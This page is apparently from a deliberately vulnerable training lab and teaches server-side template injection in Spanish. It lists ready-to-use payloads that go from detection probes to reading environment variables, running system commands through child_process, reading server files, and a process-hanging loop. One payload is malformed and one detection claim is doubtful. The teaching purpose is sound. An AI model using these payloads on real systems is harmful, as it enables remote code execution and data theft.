Ejecución de código a través de plantillas del servidor mediante inyección de expresiones
Modo Reto activo — explora libremente. Activa el Modo Tutorial si necesitas orientación.
Si devuelve 49 en lugar de {{7*7}}, hay SSTI
/api/lab/ssti?template={{7*7}}Jinja2/Twig: devuelve 7777777 si es vulnerable
/api/lab/ssti?template={{7*'7'}}Handlebars evalúa {{#with "s" as |string|}}{{string}}{{/with}}
/api/lab/ssti?template={{#with "s" as |string|}}s{{/with}}Leer variables de entorno del servidor
/api/lab/ssti?template={{process.env}}Acceder al constructor de Function para ejecutar código
/api/lab/ssti?template={{constructor.constructor('return process')()}}Ejecución remota de código obteniendo usuario del sistema
/api/lab/ssti?template={{this.process.mainModule.require('child_process').exec('whoami')}}Listar / del servidor
/api/lab/ssti?template={{this.process.mainModule.require('child_process').execSync('ls /').toString()}}Acceso al sistema de archivos mediante require('fs')
/api/lab/ssti?template={{this.process.mainModule.require('fs').readFileSync('/etc/hostname','utf8')}}Un template loop puede colgar el proceso (NO ejecutar en prod)
/api/lab/ssti?template={{range(1,10000).__class__.__bases__}Este endpoint renderiza plantillas con entrada del usuario sin sanitización. Un atacante puede inyectar expresiones de template para ejecutar código arbitrario en el servidor, acceder a objetos del sistema, o leer archivos sensibles.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab